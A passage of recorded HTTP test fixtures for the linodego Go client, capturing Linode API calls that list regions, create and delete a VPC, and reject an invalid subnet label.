"core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728780104352000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728780241378000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74459, "label": "go-test-vpc-1720728780104352000", "description": "", "region": "us-iad", "subnets": [{"id": 72311, "label": "linodego-vpc-test-1720728780241378000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"invalid_label"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74459/subnets/72311 method: PUT response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "104" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:00 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74459 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Subnet_WithInstance.yaml000066400000000000000000001135341474652371000327470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", 